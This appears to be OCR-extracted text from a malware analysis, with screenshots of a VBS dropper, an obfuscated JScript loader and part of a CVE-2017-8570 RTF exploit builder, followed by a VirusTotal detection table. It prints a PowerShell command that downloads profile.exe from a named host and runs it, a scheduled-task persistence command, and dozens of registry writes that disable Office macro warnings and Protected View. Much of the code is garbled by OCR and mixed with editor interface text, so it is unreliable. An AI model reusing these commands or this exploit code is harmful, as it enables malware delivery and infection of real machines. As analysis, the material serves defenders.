    Klemiows.edgwrite("McCU/Software/Wicrosoft/Office/L1.0/\word/)
    Klemiows.edgwrite("McCU/Software/Wicrosoft/Office/L3.0/\word/)
    Klemiows.edgwrite("McCU/Software/Wicrosoft/Office/L3.0/\word/)
    Var IOWs.edgwrite("McCU/Software/Wicrosoft/Office/L3.0/\word/)
    Var IOWs.edgwrite("McCU/Software/Wicrosoft/Office/L3.0/\word/)
    Var IOWs.edgwrite("McCU/Software/Wicrosoft/Office/L3.0/\word/)
    Var IOWs.edgil10])    De troits:
    IOWLWHEGIl1.oisplaylerts = false:
    IOWLWHEGIl1.oisplaylerts = false:
    IOWLWHEGIl1.selection:
    Owl YBgDin.TypeFaxd[]selection:
    Owl YBgDin.TypeFaxd[]selection:
    Owl YBgDin.TypeFaxd["This file is protected with 64bit security");
    catch (e) {
 function pDMHvJo(kKeuFoorwdnE) {
    return new ActiveXObject(Usm[kKeuFoorwdnE]);
} function mkzoumdQoqSBe(kKeuFoorwdnE) {
function mkzoumdQoqSBe(kKeuFoorwdnE) {
   return KIemiowR.ExpandEnvironmentStrings("%" + kKeuFoorwdnE + "%");
   return KIemiowR.ExpandEnvironmentStrings("%" + kKeuFoorwdnE + "%");
}
function cwjHrwl01zmpsUw(PBNyr)mj5jH3kvzk, kkeuFoorwdnE ) {
var ImxqP23n1kvrdnos -
for (HfkqkzccwcbalumvFGP = 0; MfikqkzcwcbalumvFGP < (PBNyr)mj5jH3kvzk.length / 2 ); MfikqkzcwcbalumvFGP++ ){
ImxqP23n1kvrdnos += String.fromCharCode( '0x' + PBNyr)mj5jH3kvzk.substr( MfikqkzcwcbalumvFGP * 2, 2 );
}</pre>
        } Improvement and the set of the set of
C Cur Pos
A Go To Line
                                                                                                                                                                                                               AV Prev Page
AV Next Page
                                                                                                                                                                                                                                                  format)
M-V First Line M-W WhereIs Next M Mark Text
M-/Last Line M-1 To Bracket M-2 Copy Text
AG Get Help AG write Out AK Where Is
AX Exit AB Read File AN Replace
                                                                                                       AK Cut Text AJ Justify
AU Uncut Text AT To Spell
                                                                                                                                                                                                                                                                                                                                                        Indent Text A-U Undo
                                                                                                                                                                                                                                                                                                                                                                                         __ 0 _×
       CVE-2017-8570/package ×
                                                                                                                                                                                                                      .
              -> C 🔒 GitHub, Inc. [US] | https://github.com/rxwx/CVE-2017-8570/blob/master/packager_composite_moniker.py
    ~
                                                                                                                                                                                                                                                                                                                                                                                                                         ☆
                                  import random
                               import string
                               class Package(object):
                                            .....
                                          Packager spec based on:
                                         https://phishme.com/rtf-malware-delivery/
                                          Dropping method by Haifei Li:
                                           https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/
                                        Found being used itw by @MalwareParty:
                                          https://twitter.com/MalwarePartv/status/943861021260861440
                                           ......
                                           def __init__(self, filename):
                                                     self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
                                                    self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)
                                                    self.orgpath = self.fakepath
                                                    self.datapath = self.fakepath
                                                     with open(filename, 'rb') as f:
                                                                 self.data = f.read()
                                                self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
                                                    def get_object_header(self):
                                                      OLEVersion = '01050000'
                                                      FormatID = '02000000'
                                                      ClassName = 'Package'
                                                      szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')</pre>
                                                       szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')</pre>
```

The "svch.exe" file, which has its code hidden (obfuscated) using the Confuser tool, downloaded and executed the "svchost32.vbs" file. The "svchost32.vbs" file, in turn, downloaded the "profile.exe" file protected with ASProtect from the address "http://www[.]bluesw[.]net/wp-admin//user/" and saved it in the "%Public%" folder as "svchost.exe", where it was then

executed.

📝 C:\User	rs\Mert\Desktop\test.vbs - Notepad++		- 0	×				
File Edit	Search View Encoding Language Settings Macro	o Run Plugins Window ?		Х				
test vbs								
170								
1/3	AnwEXNWUISUII = "s"			^				
1/4	AnwEXHWUISUII = AnwEXHWUISUII & "\"							
175	AnwEXNWUISUII = AnwEXNWUISUII & "S"							
170	AnwEXNWUISUII = AnwEXnWUISUII & "V"							
170	AnwEXHWUISUII = AnwEXHWUISUII & "C"							
170	AnwEXHWUISUII = AnwEXHWUISUII & "h"							
1/9	AnwEXNWUISUII = AnwEXNWUISUII & "O"							
180	AnwEXnwulS011 = AnwEXnwulS011 & "s"							
181	AnwEXnwulS011 = AnwEXnwulS011 & "t"							
182	AnwEXnwu1S011 = AnwEXnwu1S011 & "."							
183	AnwEXnwu1S011 = AnwEXnwu1S011 & "e"							
184	AnwEXnwu1S011 = AnwEXnwu1S011 & "x"							
185	AnwEXnwu1S011 = AnwEXnwu1S011 & "e"							
186	AnwEXnwu1S011 = AnwEXnwu1S011 & """							
187	AnwEXnwu1S12 = AnwEXnwu1S1 + AnwEXnwu1S	Windows Script Host	a157 + A	nwE				
188	shhh.Popup(AnwEXnwu1S12)							
189								
190	Set wso = CreateObject("WScript.Shell")	cmd.exe /K taskkill /f /im winword.exe&taskkill /f /im Excel.exe&PowerShell						
191	wso.RegWrite "HKCU\Software\Microsoft\C	(New-Object						
192	wso.RegWrite "HKCU\Software\Microsoft\C	System.Net.WebClient).DownloadFile('http://www.bluesw.net/wp-admin//user/p						
193	wso.RegWrite "HKCU\Software\Microsoft\C	rofile.exe '.'%Public%\svchost.exe'):Start-Process '%Public%\svchost.exe'						
194	wso.RegWrite "HKCU\Software\Microsoft\C	/						
195	wso.RegWrite "HKCU\Software\Microsoft\C							
196	wso.RegWrite "HKCU\Software\Microsoft\0							
197	wso.RegWrite "HKCU\Software\Microsoft\C	OK						
198	wso.RegWrite "HKCU\Software\Microsoft\0							
199	wso.RegWrite "HKCU\Software\Microsoft\C	TITCE (13.0 (FOWELFOINE (DECULICY (VDAWAININGS , 1, KEG DWORD						
200	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\16.0\PowerPoint\Security\VBAWarnings", 1, "REG DWORD"		=				
201	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\11.0\Excel\Security\VBAWarnings", 1, "REG DWORD"						
202	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\12.0\Excel\Security\VBAWarnings", 1, "REG DWORD"						
203	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\14.0\Excel\Security\VBAWarnings", 1, "REG DWORD"						
204	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\15.0\Excel\Security\VBAWarnings", 1, "REG DWORD"						
205	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\16.0\Excel\Security\VBAWarnings", 1, "REG DWORD"						
206	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1	, "REG D	WOR				
207	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1,	"REG DW	ORD				
208	wso.RegWrite "HKCU\Software\Microsoft\0	ffice\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV",	1, "REG	DW				
209	wso.RegWrite "HKCU\Software\Microsoft\O	ffice\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesIn	PV", 1.	"RE				
210	BMaise HUVON C-Estantial Mission	CELLING (In	····	DEC				
				+				
Visual Basi	c file length : 13.456	lines : 254 Ln : 188 Col : 11 Sel : 0 0 Windows (CR LF) A 10 Şuba	t 2018 Cuma	artesi				

📝 C:\Use	rs\Mert\Desktop\test.vbs - Notepad++					×
File Edi	t Search View Encoding Languag	e Settings Macro Run Plugins	Window ?			Х
	= • • • • • • • • • •	숱 🖞 🏭 🤏 🤫 🖪 🔂	; ¶ 🔳 🔍 🔊 🔄 🖉 🛄			
tost who						
				DischleTeterret	FilesTe DVU 4	HDE
219	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\12.0\P	owerPoint(Security)ProtectedView(DisableAttachem	entsInPV", 1,	"REG
220	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\12.0\P	owerPoint\Security\ProtectedView\	DisableUnsafeLo	cationsInPV",	1, "
221	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\12.0\E	xcel\Security\ProtectedView\Disab	leInternetFiles	InPV", 1 , "RE	G_DWO
222	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\12.0\E	xcel\Security\ProtectedView\Disab	leAttachementsI	nPV", 1, "REG	_DWOR
223	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\12.0\E	xcel\Security\ProtectedView\Disab	leUnsafeLocatio	nsInPV", 1, "	REG D
224	WSO.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\W	ord\Security\Protectedview\Disabl	elnternetrilesi	PV", 1, "REG	DWORD
226	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\W	ord\Security\ProtectedView\Disabl	eUnsafeLocation:	sInPV", 1, "R	EG DW
227	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\P	owerPoint\Security\ProtectedView\	DisableInternet:	FilesInPV", 1	, "RE
228	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\P	owerPoint\Security\ProtectedView\	DisableAttachem	entsInPV", 1,	"REG
229	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\P	owerPoint\Security\ProtectedView\	DisableUnsafeLo	cationsInPV",	1, "
230	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\14.0\E	xcel\Security\ProtectedView\Disab	leInternetFiles.	InPV", 1, "RE	G_DWO
232	wso RegWrite "HKCU\Softwar	Windows Script Host	×	InsafeLocatio	nstnPV" 1 "	BEG D
233	wso.RegWrite "HKCU\Softwar			nternetFilesI	nPV", 1, "REG	DWOR
234	wso.RegWrite "HKCU\Softwar		SALES I STATEMENT STATEMENT	ttachementsIn	PV", 1, "REG	DWORD
235	wso.RegWrite "HKCU\Softwar	cmd.exe /c SchTasks /Create /sc N	/INUTE /MO 360 /TN WindowsUpdates /TR	insafeLocation:	sInPV", 1 , "R	EG_DW
236	wso.RegWrite "HKCU\Softwar	C:\\Users\\Public\\svchost32.vbs		sableInternet	FilesInPV", 1	, "RE
237	wso.RegWrite "HKCU\Softwar			sableAttachem	entsInPV", 1,	"REG
239	WSO.Regwrite "HKCU\Softwar			InternetFiles	TNPV" 1 "RF	G DWO
240	wso.RegWrite "HKCU\Softwar		OK	AttachementsI	nPV", 1, "REG	DWOR
241	wso.RegWrite "HKCU\Softwar			UnsafeLocation	nsInPV", 1, "	REG D
242	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\W	ord\Security\ProtectedView\Disabl	eInternetFilesI	nPV" , 1, "REG	DWOR
243	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\W	ord\Security\ProtectedView\Disabl	eAttachementsIn	PV", 1, "REG_	DWORD
244	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\W	ord\Security\ProtectedView\Disabl	eUnsafeLocation:	sInPV", 1, "R	EG_DW
245	wso.Regwrite "HKCU\Softwar	re\Microsoft\Office\16.0\P	owerPoint Security Protected View	DisableInternet.	FilesinPV", 1	, "RE
247	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\P	owerPoint/Security/ProtectedView/	DisableUnsafeLo	cationsInPV", 1,	1. "
248	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\E	xcel\Security\ProtectedView\Disab	leInternetFiles	InPV". 1. "RE	G DWO
249	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\E	xcel\Security\ProtectedView\Disab	leAttachementsI	nPV", 1, "REG	DWOR
250	wso.RegWrite "HKCU\Softwar	re\Microsoft\Office\16.0\E	xcel\Security\ProtectedView\Disab	leUnsafeLocation	nsInPV", 1, "	REG_D
251	<pre>set shhh = CreateObject("W</pre>	WScript.Shell")				=
252	Dim AnwEXnwu1Stime	(- C-bTb- (Cob- (N	THURE (NO 260 (TH Niederstieders		Dublic - Warraha	-+ 22
253	ship Popup (Appr Stime)	/c Schlasks /Create /sc M	INUIE /MO 360 /IN WINdowsUpdates	/IR C:\\Users\\.	Public\\svcno	st32.
234	Shini.Fopup (AnwExhwaiScime)					Ψ.
		m				•
Visual Basi	ic file	length : 13 456 lines : 254	10,126 Col. 21 Col. 1911	MC I COLO	AL 10 Subat 2018 Cu	mantori
		Tengur. 15.450 Times. 254	LN:120 C01:51 Sel:40 1	Windows (CR LF)	4 10 Jubat 2010 Cu	intartest
🧭 pestud	lio 8.71 - Malware Initial Assessment - w	ww.winitor.com	LIT:120 COT:51 3ET:40 1	Windows (CR LF)		X
✓ pestud File Hel	lio 8.71 <mark>- Malwa</mark> re Initial Assessment - w Ip	ww.winitor.com	LN:120 C01:51 Ser:40 1	Windows (CR LF)		X
✓ pestud File Hel	lio 8.71 <mark>- Malwa</mark> re Initial Assessment - wi Ip K 📋 🎕	ww.winitor.com	LII:120 C01:31 Ser:40 1	Windows (CR LF)		X
✓ pestud File Hel Image: Image of the second se	lio 8.71 - Malware Initial Assessment - w lp K 📋 🍞	ww.winitor.com	201120 C0131 Ser.40 [1	data (dd mm 1000)		X
File Hel	lio 8.71 - Malware Initial Assessment - w p lip lip lip lip lip lip lip	engine (66)	positiv (7)	date (dd.mm.yyyy)	age (days)	
File Hel	lio 8.71 - Malware Initial Assessment - w p lip lip lip lip lip lip lip	engine (66) Rising	positiv (7) Melware.Undefined!8.C (TFE:1:uxD6hhSaRvV)	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel	lio 8.71 - Malware Initial Assessment - w p lio ? users\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes)	engine (66) Rising Ikarus	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso	date (dd.mm.yyyy) 08.02.2018 08.02.2018	age (days)	
V pestuo File Hel	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe Indicators (wait) Virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992)	engine (66) Rising Ikarus Kaspersky	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018	age (days) 1 1	
✓ pestua File Hel ✓ · · · · · · · · · · · · · · · · · · ·	lio 8.71 - Malware Initial Assessment - w p users\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious)	engine (66) Rising Ikarus Kaspersky ZoneAlarm	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days) 1 1 1 1 1 1	
estudie File Hel Image: State St	lio 8.71 - Malware Initial Assessment - w lp Lusers\mert\desktop\profile\profile.exe Indicators (wait) Virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018	age (days) 1 1 1 1 0	
Pestua File Hel P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P P <th< td=""><td>lio 8.71 - Malware Initial Assessment - w lp Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point)</td><td>engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32</td><td>positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC</td><td>date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018</td><td>age (days) 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1</td><td></td></th<>	lio 8.71 - Malware Initial Assessment - w lp Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018	age (days) 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
✓ pestuc File Hel	lio 8.71 - Malware Initial Assessment - w lp Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (J/11)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018	age (days) 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
✓ pestuc File Hel	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days) 1 1 1 1 1 1 1 0 1 1 0 1 0 1 1 1 0 1 1 1 0 1 1 1 0 1 1 1 0 1 1 1 0 1 1 1 1 0 1	
✓ pestuc File Hel → ↓ → ↓ → ↓ → ↓ → ↓ → ↓ → ↓ → ↓	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days) 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
V pestuc File Hel C C C C C C C C C C C C C C C	lio 8.71 - Malware Initial Assessment - w p Lusers\methodsktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1.11) imports (13/0/6) \$ exports (0) o tls-callbacks (n/a)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/1) imports (13/0/6) > exports (0) o tts-callbacks (n/a) resources (unknown)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
✓ pestuc File Hel ✓ C ✓ C ✓ C ✓ C ✓ C ✓ C ✓ C ✓ C	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) > exports (0) o tls-callbacks (n/a) resources (unknown) c strings (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
V pestuac File Hel C C C C C C C C C C C C C C C	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) > exports (0) o tls-callbacks (n/a) a resources (unknown) c strings (wait) § debug (n/a)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
✓ pestuc File Hel	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) > exports (0) > ths-callbacks (n/a) tresources (unknown) c strings (wait) § debug (n/a) manifest (n/a)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CMC CMC CMC CMC CMC CMC CM	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean clean clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
✓ pestuc File Hel → 2 → 2 → 4	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) > exports (0) o t5-callbacks (n/a) a resources (unknown) e strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean clean clean clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
V pestuc File Hel V 7 V 7 V 7 V 7 V 7 V 7 V 7 V 7	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tls-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDsafe a variant of Win32/GenKryptik.BPIC clean clean clean clean clean clean clean clean clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tls-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
	tio 8.71 - Malware Initial Assessment - w p Lusers\methodsktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) c certificate (n/a) j overlay (wait)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
